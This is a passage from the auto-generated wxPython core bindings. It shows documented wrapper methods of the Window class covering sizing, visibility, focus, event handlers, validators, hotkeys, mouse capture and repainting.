For example, for a static text control, it will\n be the minimal size such that the control label is not truncated. For\n windows containing subwindows (such as wx.Panel), the size returned by\n this function will be the same as the size the window would have had\n after calling Fit.\n \"\"\"\n return _core_.Window_GetBestSizeTuple(*args, **kwargs)\n\n def InvalidateBestSize(*args, **kwargs):\n \"\"\"\n InvalidateBestSize(self)\n\n Reset the cached best size value so it will be recalculated the next\n time it is needed.\n \"\"\"\n return _core_.Window_InvalidateBestSize(*args, **kwargs)\n\n def CacheBestSize(*args, **kwargs):\n \"\"\"\n CacheBestSize(self, Size size)\n\n Cache the best size so it doesn't need to be calculated again, (at least until\n some properties of the window change.)\n \"\"\"\n return _core_.Window_CacheBestSize(*args, **kwargs)\n\n def GetEffectiveMinSize(*args, **kwargs):\n \"\"\"\n GetEffectiveMinSize(self) -> Size\n\n This function will merge the window's best size into the window's\n minimum size, giving priority to the min size components, and returns\n the results.\n\n \"\"\"\n return _core_.Window_GetEffectiveMinSize(*args, **kwargs)\n\n GetBestFittingSize = wx._deprecated(GetEffectiveMinSize, 'Use `GetEffectiveMinSize` instead.') \n def GetAdjustedBestSize(self):\n s = self.GetBestSize()\n return wx.Size(max(s.width, self.GetMinWidth()),\n max(s.height, self.GetMinHeight()))\n GetAdjustedBestSize = wx._deprecated(GetAdjustedBestSize, 'Use `GetEffectiveMinSize` instead.')\n\n def Center(*args, **kwargs):\n \"\"\"\n Center(self, int direction=BOTH)\n\n Centers the window. The parameter specifies the direction for\n centering, and may be wx.HORIZONTAL, wx.VERTICAL or wx.BOTH. It may\n also include wx.CENTER_ON_SCREEN flag if you want to center the window\n on the entire screen and not on its parent window. If it is a\n top-level window and has no parent then it will always be centered\n relative to the screen.\n \"\"\"\n return _core_.Window_Center(*args, **kwargs)\n\n Centre = Center \n def CenterOnParent(*args, **kwargs):\n \"\"\"\n CenterOnParent(self, int dir=BOTH)\n\n Center with respect to the the parent window\n \"\"\"\n return _core_.Window_CenterOnParent(*args, **kwargs)\n\n CentreOnParent = CenterOnParent \n def Fit(*args, **kwargs):\n \"\"\"\n Fit(self)\n\n Sizes the window so that it fits around its subwindows. This function\n won't do anything if there are no subwindows and will only really work\n correctly if sizers are used for the subwindows layout. Also, if the\n window has exactly one subwindow it is better (faster and the result\n is more precise as Fit adds some margin to account for fuzziness of\n its calculations) to call window.SetClientSize(child.GetSize())\n instead of calling Fit.\n \"\"\"\n return _core_.Window_Fit(*args, **kwargs)\n\n def FitInside(*args, **kwargs):\n \"\"\"\n FitInside(self)\n\n Similar to Fit, but sizes the interior (virtual) size of a\n window. Mainly useful with scrolled windows to reset scrollbars after\n sizing changes that do not trigger a size event, and/or scrolled\n windows without an interior sizer. This function similarly won't do\n anything if there are no subwindows.\n \"\"\"\n return _core_.Window_FitInside(*args, **kwargs)\n\n def SetSizeHints(*args, **kwargs):\n \"\"\"\n SetSizeHints(self, int minW, int minH, int maxW=-1, int maxH=-1, int incW=-1, \n int incH=-1)\n\n Allows specification of minimum and maximum window sizes, and window\n size increments. If a pair of values is not set (or set to -1), the\n default values will be used. If this function is called, the user\n will not be able to size the window outside the given bounds (if it is\n a top-level window.) Sizers will also inspect the minimum window size\n and will use that value if set when calculating layout.\n\n The resizing increments are only significant under Motif or Xt.\n \"\"\"\n return _core_.Window_SetSizeHints(*args, **kwargs)\n\n def SetSizeHintsSz(*args, **kwargs):\n \"\"\"\n SetSizeHintsSz(self, Size minSize, Size maxSize=DefaultSize, Size incSize=DefaultSize)\n\n Allows specification of minimum and maximum window sizes, and window\n size increments. If a pair of values is not set (or set to -1), the\n default values will be used. If this function is called, the user\n will not be able to size the window outside the given bounds (if it is\n a top-level window.) Sizers will also inspect the minimum window size\n and will use that value if set when calculating layout.\n\n The resizing increments are only significant under Motif or Xt.\n \"\"\"\n return _core_.Window_SetSizeHintsSz(*args, **kwargs)\n\n def SetVirtualSizeHints(*args, **kwargs):\n \"\"\"\n SetVirtualSizeHints(self, int minW, int minH, int maxW=-1, int maxH=-1)\n\n Allows specification of minimum and maximum virtual window sizes. If a\n pair of values is not set (or set to -1), the default values will be\n used. If this function is called, the user will not be able to size\n the virtual area of the window outside the given bounds.\n \"\"\"\n return _core_.Window_SetVirtualSizeHints(*args, **kwargs)\n\n def SetVirtualSizeHintsSz(*args, **kwargs):\n \"\"\"\n SetVirtualSizeHintsSz(self, Size minSize, Size maxSize=DefaultSize)\n\n Allows specification of minimum and maximum virtual window sizes. If a\n pair of values is not set (or set to -1), the default values will be\n used. If this function is called, the user will not be able to size\n the virtual area of the window outside the given bounds.\n \"\"\"\n return _core_.Window_SetVirtualSizeHintsSz(*args, **kwargs)\n\n def GetMaxSize(*args, **kwargs):\n \"\"\"GetMaxSize(self) -> Size\"\"\"\n return _core_.Window_GetMaxSize(*args, **kwargs)\n\n def GetMinSize(*args, **kwargs):\n \"\"\"GetMinSize(self) -> Size\"\"\"\n return _core_.Window_GetMinSize(*args, **kwargs)\n\n def SetMinSize(*args, **kwargs):\n \"\"\"\n SetMinSize(self, Size minSize)\n\n A more convenient method than `SetSizeHints` for setting just the\n min size.\n \"\"\"\n return _core_.Window_SetMinSize(*args, **kwargs)\n\n def SetMaxSize(*args, **kwargs):\n \"\"\"\n SetMaxSize(self, Size maxSize)\n\n A more convenient method than `SetSizeHints` for setting just the\n max size.\n \"\"\"\n return _core_.Window_SetMaxSize(*args, **kwargs)\n\n def GetMinWidth(*args, **kwargs):\n \"\"\"GetMinWidth(self) -> int\"\"\"\n return _core_.Window_GetMinWidth(*args, **kwargs)\n\n def GetMinHeight(*args, **kwargs):\n \"\"\"GetMinHeight(self) -> int\"\"\"\n return _core_.Window_GetMinHeight(*args, **kwargs)\n\n def GetMaxWidth(*args, **kwargs):\n \"\"\"GetMaxWidth(self) -> int\"\"\"\n return _core_.Window_GetMaxWidth(*args, **kwargs)\n\n def GetMaxHeight(*args, **kwargs):\n \"\"\"GetMaxHeight(self) -> int\"\"\"\n return _core_.Window_GetMaxHeight(*args, **kwargs)\n\n def SetVirtualSize(*args, **kwargs):\n \"\"\"\n SetVirtualSize(self, Size size)\n\n Set the the virtual size of a window in pixels. For most windows this\n is just the client area of the window, but for some like scrolled\n windows it is more or less independent of the screen window size.\n \"\"\"\n return _core_.Window_SetVirtualSize(*args, **kwargs)\n\n def SetVirtualSizeWH(*args, **kwargs):\n \"\"\"\n SetVirtualSizeWH(self, int w, int h)\n\n Set the the virtual size of a window in pixels. For most windows this\n is just the client area of the window, but for some like scrolled\n windows it is more or less independent of the screen window size.\n \"\"\"\n return _core_.Window_SetVirtualSizeWH(*args, **kwargs)\n\n def GetVirtualSize(*args, **kwargs):\n \"\"\"\n GetVirtualSize(self) -> Size\n\n Get the the virtual size of the window in pixels. For most windows\n this is just the client area of the window, but for some like scrolled\n windows it is more or less independent of the screen window size.\n \"\"\"\n return _core_.Window_GetVirtualSize(*args, **kwargs)\n\n def GetVirtualSizeTuple(*args, **kwargs):\n \"\"\"\n GetVirtualSizeTuple() -> (width, height)\n\n Get the the virtual size of the window in pixels. For most windows\n this is just the client area of the window, but for some like scrolled\n windows it is more or less independent of the screen window size.\n \"\"\"\n return _core_.Window_GetVirtualSizeTuple(*args, **kwargs)\n\n def GetWindowBorderSize(*args, **kwargs):\n \"\"\"\n GetWindowBorderSize(self) -> Size\n\n Return the size of the left/right and top/bottom borders.\n \"\"\"\n return _core_.Window_GetWindowBorderSize(*args, **kwargs)\n\n def GetBestVirtualSize(*args, **kwargs):\n \"\"\"\n GetBestVirtualSize(self) -> Size\n\n Return the largest of ClientSize and BestSize (as determined by a\n sizer, interior children, or other means)\n \"\"\"\n return _core_.Window_GetBestVirtualSize(*args, **kwargs)\n\n def Show(*args, **kwargs):\n \"\"\"\n Show(self, bool show=True) -> bool\n\n Shows or hides the window. You may need to call Raise for a top level\n window if you want to bring it to top, although this is not needed if\n Show is called immediately after the frame creation. Returns True if\n the window has been shown or hidden or False if nothing was done\n because it already was in the requested state.\n \"\"\"\n return _core_.Window_Show(*args, **kwargs)\n\n def Hide(*args, **kwargs):\n \"\"\"\n Hide(self) -> bool\n\n Equivalent to calling Show(False).\n \"\"\"\n return _core_.Window_Hide(*args, **kwargs)\n\n def Enable(*args, **kwargs):\n \"\"\"\n Enable(self, bool enable=True) -> bool\n\n Enable or disable the window for user input. Note that when a parent\n window is disabled, all of its children are disabled as well and they\n are reenabled again when the parent is. Returns true if the window\n has been enabled or disabled, false if nothing was done, i.e. if the\n window had already been in the specified state.\n \"\"\"\n return _core_.Window_Enable(*args, **kwargs)\n\n def Disable(*args, **kwargs):\n \"\"\"\n Disable(self) -> bool\n\n Disables the window, same as Enable(false).\n \"\"\"\n return _core_.Window_Disable(*args, **kwargs)\n\n def IsShown(*args, **kwargs):\n \"\"\"\n IsShown(self) -> bool\n\n Returns true if the window is shown, false if it has been hidden.\n \"\"\"\n return _core_.Window_IsShown(*args, **kwargs)\n\n def IsEnabled(*args, **kwargs):\n \"\"\"\n IsEnabled(self) -> bool\n\n Returns true if the window is enabled for input, false otherwise.\n \"\"\"\n return _core_.Window_IsEnabled(*args, **kwargs)\n\n def IsShownOnScreen(*args, **kwargs):\n \"\"\"\n IsShownOnScreen(self) -> bool\n\n Returns ``True`` if the window is physically visible on the screen,\n i.e. it is shown and all its parents up to the toplevel window are\n shown as well.\n \"\"\"\n return _core_.Window_IsShownOnScreen(*args, **kwargs)\n\n def SetWindowStyleFlag(*args, **kwargs):\n \"\"\"\n SetWindowStyleFlag(self, long style)\n\n Sets the style of the window. Please note that some styles cannot be\n changed after the window creation and that Refresh() might need to be\n called after changing the others for the change to take place\n immediately.\n \"\"\"\n return _core_.Window_SetWindowStyleFlag(*args, **kwargs)\n\n def GetWindowStyleFlag(*args, **kwargs):\n \"\"\"\n GetWindowStyleFlag(self) -> long\n\n Gets the window style that was passed to the constructor or Create\n method.\n \"\"\"\n return _core_.Window_GetWindowStyleFlag(*args, **kwargs)\n\n SetWindowStyle = SetWindowStyleFlag; GetWindowStyle = GetWindowStyleFlag \n def HasFlag(*args, **kwargs):\n \"\"\"\n HasFlag(self, int flag) -> bool\n\n Test if the given style is set for this window.\n \"\"\"\n return _core_.Window_HasFlag(*args, **kwargs)\n\n def IsRetained(*args, **kwargs):\n \"\"\"\n IsRetained(self) -> bool\n\n Returns true if the window is retained, false otherwise. Retained\n windows are only available on X platforms.\n \"\"\"\n return _core_.Window_IsRetained(*args, **kwargs)\n\n def ToggleWindowStyle(*args, **kwargs):\n \"\"\"\n ToggleWindowStyle(self, int flag) -> bool\n\n Turn the flag on if it had been turned off before and vice versa,\n returns True if the flag is turned on by this function call.\n \"\"\"\n return _core_.Window_ToggleWindowStyle(*args, **kwargs)\n\n def SetExtraStyle(*args, **kwargs):\n \"\"\"\n SetExtraStyle(self, long exStyle)\n\n Sets the extra style bits for the window. Extra styles are the less\n often used style bits which can't be set with the constructor or with\n SetWindowStyleFlag()\n \"\"\"\n return _core_.Window_SetExtraStyle(*args, **kwargs)\n\n def GetExtraStyle(*args, **kwargs):\n \"\"\"\n GetExtraStyle(self) -> long\n\n Returns the extra style bits for the window.\n \"\"\"\n return _core_.Window_GetExtraStyle(*args, **kwargs)\n\n def MakeModal(*args, **kwargs):\n \"\"\"\n MakeModal(self, bool modal=True)\n\n Disables all other windows in the application so that the user can\n only interact with this window. Passing False will reverse this\n effect.\n \"\"\"\n return _core_.Window_MakeModal(*args, **kwargs)\n\n def SetThemeEnabled(*args, **kwargs):\n \"\"\"\n SetThemeEnabled(self, bool enableTheme)\n\n This function tells a window if it should use the system's \"theme\"\n code to draw the windows' background instead if its own background\n drawing code. This will only have an effect on platforms that support\n the notion of themes in user defined windows. One such platform is\n GTK+ where windows can have (very colourful) backgrounds defined by a\n user's selected theme.\n\n Dialogs, notebook pages and the status bar have this flag set to true\n by default so that the default look and feel is simulated best.\n \"\"\"\n return _core_.Window_SetThemeEnabled(*args, **kwargs)\n\n def GetThemeEnabled(*args, **kwargs):\n \"\"\"\n GetThemeEnabled(self) -> bool\n\n Return the themeEnabled flag.\n \"\"\"\n return _core_.Window_GetThemeEnabled(*args, **kwargs)\n\n def SetFocus(*args, **kwargs):\n \"\"\"\n SetFocus(self)\n\n Set's the focus to this window, allowing it to receive keyboard input.\n \"\"\"\n return _core_.Window_SetFocus(*args, **kwargs)\n\n def SetFocusFromKbd(*args, **kwargs):\n \"\"\"\n SetFocusFromKbd(self)\n\n Set focus to this window as the result of a keyboard action. Normally\n only called internally.\n \"\"\"\n return _core_.Window_SetFocusFromKbd(*args, **kwargs)\n\n def FindFocus(*args, **kwargs):\n \"\"\"\n FindFocus() -> Window\n\n Returns the window or control that currently has the keyboard focus,\n or None.\n \"\"\"\n return _core_.Window_FindFocus(*args, **kwargs)\n\n FindFocus = staticmethod(FindFocus)\n def AcceptsFocus(*args, **kwargs):\n \"\"\"\n AcceptsFocus(self) -> bool\n\n Can this window have focus?\n \"\"\"\n return _core_.Window_AcceptsFocus(*args, **kwargs)\n\n def AcceptsFocusFromKeyboard(*args, **kwargs):\n \"\"\"\n AcceptsFocusFromKeyboard(self) -> bool\n\n Can this window be given focus by keyboard navigation? if not, the\n only way to give it focus (provided it accepts it at all) is to click\n it.\n \"\"\"\n return _core_.Window_AcceptsFocusFromKeyboard(*args, **kwargs)\n\n def Navigate(*args, **kwargs):\n \"\"\"\n Navigate(self, int flags=NavigationKeyEvent.IsForward) -> bool\n\n Does keyboard navigation from this window to another, by sending a\n `wx.NavigationKeyEvent`.\n \"\"\"\n return _core_.Window_Navigate(*args, **kwargs)\n\n def MoveAfterInTabOrder(*args, **kwargs):\n \"\"\"\n MoveAfterInTabOrder(self, Window win)\n\n Moves this window in the tab navigation order after the specified\n sibling window. This means that when the user presses the TAB key on\n that other window, the focus switches to this window.\n\n The default tab order is the same as creation order. This function\n and `MoveBeforeInTabOrder` allow to change it after creating all the\n windows.\n\n \"\"\"\n return _core_.Window_MoveAfterInTabOrder(*args, **kwargs)\n\n def MoveBeforeInTabOrder(*args, **kwargs):\n \"\"\"\n MoveBeforeInTabOrder(self, Window win)\n\n Same as `MoveAfterInTabOrder` except that it inserts this window just\n before win instead of putting it right after it.\n \"\"\"\n return _core_.Window_MoveBeforeInTabOrder(*args, **kwargs)\n\n def GetChildren(*args, **kwargs):\n \"\"\"\n GetChildren(self) -> WindowList\n\n Returns an object containing a list of the window's children. The\n object provides a Python sequence-like interface over the internal\n list maintained by the window..\n \"\"\"\n return _core_.Window_GetChildren(*args, **kwargs)\n\n def GetParent(*args, **kwargs):\n \"\"\"\n GetParent(self) -> Window\n\n Returns the parent window of this window, or None if there isn't one.\n \"\"\"\n return _core_.Window_GetParent(*args, **kwargs)\n\n def GetGrandParent(*args, **kwargs):\n \"\"\"\n GetGrandParent(self) -> Window\n\n Returns the parent of the parent of this window, or None if there\n isn't one.\n \"\"\"\n return _core_.Window_GetGrandParent(*args, **kwargs)\n\n def GetTopLevelParent(*args, **kwargs):\n \"\"\"\n GetTopLevelParent(self) -> Window\n\n Returns the first frame or dialog in this window's parental hierarchy.\n \"\"\"\n return _core_.Window_GetTopLevelParent(*args, **kwargs)\n\n def IsTopLevel(*args, **kwargs):\n \"\"\"\n IsTopLevel(self) -> bool\n\n Returns true if the given window is a top-level one. Currently all\n frames and dialogs are always considered to be top-level windows (even\n if they have a parent window).\n \"\"\"\n return _core_.Window_IsTopLevel(*args, **kwargs)\n\n def Reparent(*args, **kwargs):\n \"\"\"\n Reparent(self, Window newParent) -> bool\n\n Reparents the window, i.e the window will be removed from its current\n parent window (e.g. a non-standard toolbar in a wxFrame) and then\n re-inserted into another. Available on Windows and GTK. Returns True\n if the parent was changed, False otherwise (error or newParent ==\n oldParent)\n \"\"\"\n return _core_.Window_Reparent(*args, **kwargs)\n\n def AddChild(*args, **kwargs):\n \"\"\"\n AddChild(self, Window child)\n\n Adds a child window. This is called automatically by window creation\n functions so should not be required by the application programmer.\n \"\"\"\n return _core_.Window_AddChild(*args, **kwargs)\n\n def RemoveChild(*args, **kwargs):\n \"\"\"\n RemoveChild(self, Window child)\n\n Removes a child window. This is called automatically by window\n deletion functions so should not be required by the application\n programmer.\n \"\"\"\n return _core_.Window_RemoveChild(*args, **kwargs)\n\n def FindWindowById(*args, **kwargs):\n \"\"\"\n FindWindowById(self, long winid) -> Window\n\n Find a child of this window by window ID\n \"\"\"\n return _core_.Window_FindWindowById(*args, **kwargs)\n\n def FindWindowByName(*args, **kwargs):\n \"\"\"\n FindWindowByName(self, String name) -> Window\n\n Find a child of this window by name\n \"\"\"\n return _core_.Window_FindWindowByName(*args, **kwargs)\n\n def FindWindowByLabel(*args, **kwargs):\n \"\"\"\n FindWindowByLabel(self, String label) -> Window\n\n Find a child of this window by label\n \"\"\"\n return _core_.Window_FindWindowByLabel(*args, **kwargs)\n\n def GetEventHandler(*args, **kwargs):\n \"\"\"\n GetEventHandler(self) -> EvtHandler\n\n Returns the event handler for this window. By default, the window is\n its own event handler.\n \"\"\"\n return _core_.Window_GetEventHandler(*args, **kwargs)\n\n def SetEventHandler(*args, **kwargs):\n \"\"\"\n SetEventHandler(self, EvtHandler handler)\n\n Sets the event handler for this window. An event handler is an object\n that is capable of processing the events sent to a window. (In other\n words, is able to dispatch the events to handler function.) By\n default, the window is its own event handler, but an application may\n wish to substitute another, for example to allow central\n implementation of event-handling for a variety of different window\n classes.\n\n It is usually better to use `wx.Window.PushEventHandler` since this sets\n up a chain of event handlers, where an event not handled by one event\n handler is handed off to the next one in the chain.\n \"\"\"\n return _core_.Window_SetEventHandler(*args, **kwargs)\n\n def PushEventHandler(*args, **kwargs):\n \"\"\"\n PushEventHandler(self, EvtHandler handler)\n\n Pushes this event handler onto the event handler stack for the window.\n An event handler is an object that is capable of processing the events\n sent to a window. (In other words, is able to dispatch the events to a\n handler function.) By default, the window is its own event handler,\n but an application may wish to substitute another, for example to\n allow central implementation of event-handling for a variety of\n different window classes.\n\n wx.Window.PushEventHandler allows an application to set up a chain of\n event handlers, where an event not handled by one event handler is\n handed to the next one in the chain. Use `wx.Window.PopEventHandler`\n to remove the event handler. Ownership of the handler is *not* given\n to the window, so you should be sure to pop the handler before the\n window is destroyed and either let PopEventHandler destroy it, or call\n its Destroy method yourself.\n \"\"\"\n return _core_.Window_PushEventHandler(*args, **kwargs)\n\n def PopEventHandler(*args, **kwargs):\n \"\"\"\n PopEventHandler(self, bool deleteHandler=False) -> EvtHandler\n\n Removes and returns the top-most event handler on the event handler\n stack. If deleteHandler is True then the wx.EvtHandler object will be\n destroyed after it is popped, and ``None`` will be returned instead.\n \"\"\"\n return _core_.Window_PopEventHandler(*args, **kwargs)\n\n def RemoveEventHandler(*args, **kwargs):\n \"\"\"\n RemoveEventHandler(self, EvtHandler handler) -> bool\n\n Find the given handler in the event handler chain and remove (but not\n delete) it from the event handler chain, returns True if it was found\n and False otherwise (this also results in an assert failure so this\n function should only be called when the handler is supposed to be\n there.)\n \"\"\"\n return _core_.Window_RemoveEventHandler(*args, **kwargs)\n\n def SetValidator(*args, **kwargs):\n \"\"\"\n SetValidator(self, Validator validator)\n\n Deletes the current validator (if any) and sets the window validator,\n having called wx.Validator.Clone to create a new validator of this\n type.\n \"\"\"\n return _core_.Window_SetValidator(*args, **kwargs)\n\n def GetValidator(*args, **kwargs):\n \"\"\"\n GetValidator(self) -> Validator\n\n Returns a pointer to the current validator for the window, or None if\n there is none.\n \"\"\"\n return _core_.Window_GetValidator(*args, **kwargs)\n\n def Validate(*args, **kwargs):\n \"\"\"\n Validate(self) -> bool\n\n Validates the current values of the child controls using their\n validators. If the window has wx.WS_EX_VALIDATE_RECURSIVELY extra\n style flag set, the method will also call Validate() of all child\n windows. Returns false if any of the validations failed.\n \"\"\"\n return _core_.Window_Validate(*args, **kwargs)\n\n def TransferDataToWindow(*args, **kwargs):\n \"\"\"\n TransferDataToWindow(self) -> bool\n\n Transfers values to child controls from data areas specified by their\n validators. If the window has wx.WS_EX_VALIDATE_RECURSIVELY extra\n style flag set, the method will also call TransferDataToWindow() of\n all child windows.\n \"\"\"\n return _core_.Window_TransferDataToWindow(*args, **kwargs)\n\n def TransferDataFromWindow(*args, **kwargs):\n \"\"\"\n TransferDataFromWindow(self) -> bool\n\n Transfers values from child controls to data areas specified by their\n validators. Returns false if a transfer failed. If the window has\n wx.WS_EX_VALIDATE_RECURSIVELY extra style flag set, the method will\n also call TransferDataFromWindow() of all child windows.\n \"\"\"\n return _core_.Window_TransferDataFromWindow(*args, **kwargs)\n\n def InitDialog(*args, **kwargs):\n \"\"\"\n InitDialog(self)\n\n Sends an EVT_INIT_DIALOG event, whose handler usually transfers data\n to the dialog via validators.\n \"\"\"\n return _core_.Window_InitDialog(*args, **kwargs)\n\n def SetAcceleratorTable(*args, **kwargs):\n \"\"\"\n SetAcceleratorTable(self, AcceleratorTable accel)\n\n Sets the accelerator table for this window.\n \"\"\"\n return _core_.Window_SetAcceleratorTable(*args, **kwargs)\n\n def GetAcceleratorTable(*args, **kwargs):\n \"\"\"\n GetAcceleratorTable(self) -> AcceleratorTable\n\n Gets the accelerator table for this window.\n \"\"\"\n return _core_.Window_GetAcceleratorTable(*args, **kwargs)\n\n def RegisterHotKey(*args, **kwargs):\n \"\"\"\n RegisterHotKey(self, int hotkeyId, int modifiers, int keycode) -> bool\n\n Registers a system wide hotkey. Every time the user presses the hotkey\n registered here, this window will receive a hotkey event. It will\n receive the event even if the application is in the background and\n does not have the input focus because the user is working with some\n other application. To bind an event handler function to this hotkey\n use EVT_HOTKEY with an id equal to hotkeyId. Returns True if the\n hotkey was registered successfully.\n \"\"\"\n return _core_.Window_RegisterHotKey(*args, **kwargs)\n\n def UnregisterHotKey(*args, **kwargs):\n \"\"\"\n UnregisterHotKey(self, int hotkeyId) -> bool\n\n Unregisters a system wide hotkey.\n \"\"\"\n return _core_.Window_UnregisterHotKey(*args, **kwargs)\n\n def ConvertDialogPointToPixels(*args, **kwargs):\n \"\"\"\n ConvertDialogPointToPixels(self, Point pt) -> Point\n\n Converts a point or size from dialog units to pixels. Dialog units\n are used for maintaining a dialog's proportions even if the font\n changes. For the x dimension, the dialog units are multiplied by the\n average character width and then divided by 4. For the y dimension,\n the dialog units are multiplied by the average character height and\n then divided by 8.\n \"\"\"\n return _core_.Window_ConvertDialogPointToPixels(*args, **kwargs)\n\n def ConvertDialogSizeToPixels(*args, **kwargs):\n \"\"\"\n ConvertDialogSizeToPixels(self, Size sz) -> Size\n\n Converts a point or size from dialog units to pixels. Dialog units\n are used for maintaining a dialog's proportions even if the font\n changes. For the x dimension, the dialog units are multiplied by the\n average character width and then divided by 4. For the y dimension,\n the dialog units are multiplied by the average character height and\n then divided by 8.\n \"\"\"\n return _core_.Window_ConvertDialogSizeToPixels(*args, **kwargs)\n\n def DLG_PNT(*args, **kwargs):\n \"\"\"\n DLG_PNT(self, Point pt) -> Point\n\n Converts a point or size from dialog units to pixels. Dialog units\n are used for maintaining a dialog's proportions even if the font\n changes. For the x dimension, the dialog units are multiplied by the\n average character width and then divided by 4. For the y dimension,\n the dialog units are multiplied by the average character height and\n then divided by 8.\n \"\"\"\n return _core_.Window_DLG_PNT(*args, **kwargs)\n\n def DLG_SZE(*args, **kwargs):\n \"\"\"\n DLG_SZE(self, Size sz) -> Size\n\n Converts a point or size from dialog units to pixels. Dialog units\n are used for maintaining a dialog's proportions even if the font\n changes. For the x dimension, the dialog units are multiplied by the\n average character width and then divided by 4. For the y dimension,\n the dialog units are multiplied by the average character height and\n then divided by 8.\n \"\"\"\n return _core_.Window_DLG_SZE(*args, **kwargs)\n\n def ConvertPixelPointToDialog(*args, **kwargs):\n \"\"\"ConvertPixelPointToDialog(self, Point pt) -> Point\"\"\"\n return _core_.Window_ConvertPixelPointToDialog(*args, **kwargs)\n\n def ConvertPixelSizeToDialog(*args, **kwargs):\n \"\"\"ConvertPixelSizeToDialog(self, Size sz) -> Size\"\"\"\n return _core_.Window_ConvertPixelSizeToDialog(*args, **kwargs)\n\n def WarpPointer(*args, **kwargs):\n \"\"\"\n WarpPointer(self, int x, int y)\n\n Moves the pointer to the given position on the window.\n\n NOTE: This function is not supported under Mac because Apple Human\n Interface Guidelines forbid moving the mouse cursor programmatically.\n \"\"\"\n return _core_.Window_WarpPointer(*args, **kwargs)\n\n def CaptureMouse(*args, **kwargs):\n \"\"\"\n CaptureMouse(self)\n\n Directs all mouse input to this window. Call wx.Window.ReleaseMouse to\n release the capture.\n\n Note that wxWindows maintains the stack of windows having captured the\n mouse and when the mouse is released the capture returns to the window\n which had had captured it previously and it is only really released if\n there were no previous window. In particular, this means that you must\n release the mouse as many times as you capture it, unless the window\n receives the `wx.MouseCaptureLostEvent` event.\n \n Any application which captures the mouse in the beginning of some\n operation *must* handle `wx.MouseCaptureLostEvent` and cancel this\n operation when it receives the event. The event handler must not\n recapture mouse.\n \"\"\"\n return _core_.Window_CaptureMouse(*args, **kwargs)\n\n def ReleaseMouse(*args, **kwargs):\n \"\"\"\n ReleaseMouse(self)\n\n Releases mouse input captured with wx.Window.CaptureMouse.\n \"\"\"\n return _core_.Window_ReleaseMouse(*args, **kwargs)\n\n def GetCapture(*args, **kwargs):\n \"\"\"\n GetCapture() -> Window\n\n Returns the window which currently captures the mouse or None\n \"\"\"\n return _core_.Window_GetCapture(*args, **kwargs)\n\n GetCapture = staticmethod(GetCapture)\n def HasCapture(*args, **kwargs):\n \"\"\"\n HasCapture(self) -> bool\n\n Returns true if this window has the current mouse capture.\n \"\"\"\n return _core_.Window_HasCapture(*args, **kwargs)\n\n def Refresh(*args, **kwargs):\n \"\"\"\n Refresh(self, bool eraseBackground=True, Rect rect=None)\n\n Mark the specified rectangle (or the whole window) as \"dirty\" so it\n will be repainted. Causes an EVT_PAINT event to be generated and sent\n to the window.\n \"\"\"\n return _core_.Window_Refresh(*args, **kwargs)\n\n def RefreshRect(*args, **kwargs):\n \"\"\"\n RefreshRect(self, Rect rect, bool eraseBackground=True)\n\n Redraws the contents of the given rectangle: the area inside it will\n be repainted. This is the same as Refresh but has a nicer syntax.\n \"\"\"\n return _core_.Window_RefreshRect(*args, **kwargs)\n\n def Update(*args, **kwargs):\n \"\"\"\n Update(self)\n\n Calling this method immediately repaints the invalidated area of the\n window instead of waiting for the EVT_PAINT event to happen, (normally\n this would usually only happen when the flow of control returns to the\n event loop.) Notice that this function doesn't refresh the window and\n does nothing if the window has been already repainted. Use `Refresh`\n first if you want to immediately redraw the window (or some portion of\n it) unconditionally.\n \"\"\"\n return _core_.Window_Update(*args, **kwargs)\n\n def ClearBackground(*args, **kwargs):\n \"\"\"\n ClearBackground(self)\n\n Clears the window by filling it with the current background\n colour. Does not cause an erase background event to be generated.\n \"\"\"\n return _core_.Window_ClearBackground(*args, **kwargs)\n\n def Freeze(*args, **kwargs):\n \"\"\"\n Freeze(self)\n\n Freezes the window or, in other words, prevents any updates from\n taking place on screen, the window is not redrawn at all. Thaw must be\n called to reenable window redrawing. Calls to Freeze/Thaw may be\n nested, with the actual Thaw being delayed until all the nesting has\n been undone.\n\n This method is useful for visual appearance optimization (for example,\n it is a good idea to use it before inserting large amount of text into\n a wxTextCtrl under wxGTK) but is not implemented on all platforms nor\n for all controls so it is mostly just a hint to wxWindows and not a\n mandatory directive.\n \"\"\"\n return _core_.Window_Freeze(*args, **kwargs)\n\n def IsFrozen(*args, **kwargs):\n \"\"\"\n IsFrozen(self) -> bool\n\n Returns ``True`` if the window has been frozen and not thawed yet.\n\n :see: `Freeze` and `Thaw`\n \"\"\"\n return _core_.Window_IsFrozen(*args, **kwargs)\n\n def Thaw(*args, **kwargs):\n \"\"\"\n Thaw(self)\n\n Reenables window updating after a previous call to Freeze. Calls to\n Freeze/Thaw may be nested, so Thaw must be called the same number of\n times that Freeze was before the window will be updated.\n \"\"\"\n return _core_.Window_Thaw(*args, **kwargs)\n\n def PrepareDC(*args, **kwargs):\n \"\"\"\n PrepareDC(self, DC dc)\n\n Call this function to prepare the device context for drawing a\n scrolled image. It sets the device origin according to the current\n scroll position.\n \"\"\"\n return _core_.Window_PrepareDC(*args, **kwargs)\n\n def IsDoubleBuffered(*args, **kwargs):\n \"\"\"\n IsDoubleBuffered(self) -> bool\n\n Returns ``True`` if the window contents is double-buffered by the\n system, i.e. if any drawing done on the window is really done on a\n temporary backing surface and transferred to the screen all at once\n later.\n \"\"\"\n return _core_.Window_IsDoubleBuffered(*args, **kwargs)\n\n def SetDoubleBuffered(*args, **kwargs):\n \"\"\"\n SetDoubleBuffered(self, bool on)\n\n Put the native window into double buffered or composited mode.\n \"\"\"\n return _core_.Window_SetDoubleBuffered(*args, **kwargs)\n\n def GetUpdateRegion(*args, **kwargs):\n \"\"\"\n GetUpdateRegion(self) -> Region\n\n Returns the region specifying which parts of the window have been\n damaged. Should only be called within an EVT_PAINT handler.\n \"\"\"\n return _core_.Window_GetUpdateRegion(*args, **kwargs)\n\n def GetUpdateClientRect(*args, **kwargs):\n \"\"\"\n GetUpdateClientRect(self) -> Rect\n\n Get the update rectangle region bounding box in client coords.\n \"\"\"\n return _core_.Window_GetUpdateClientRect(*args, **kwargs)\n\n def IsExposed(*args, **kwargs):\n \"\"\"\n IsExposed(self, int x, int y, int w=1, int h=1) -> bool\n\n Returns true if the given point or rectangle area has been exposed\n since the last repaint. Call this in an paint event handler to\n optimize redrawing by only redrawing those areas, which have been\n exposed.\n \"\"\"\n return _core_.Window_IsExposed(*args, **kwargs)\n\n def IsExposedPoint(*args, **kwargs):\n \"\"\"\n IsExposedPoint(self, Point pt) -> bool\n\n Returns true if the given point or rectangle area has been exposed\n since the last repaint. Call this in an paint event handler to\n optimize redrawing by only redrawing those areas, which have been\n exposed.\n \"\"\"\n return _core_.Window_IsExposedPoint(*args, 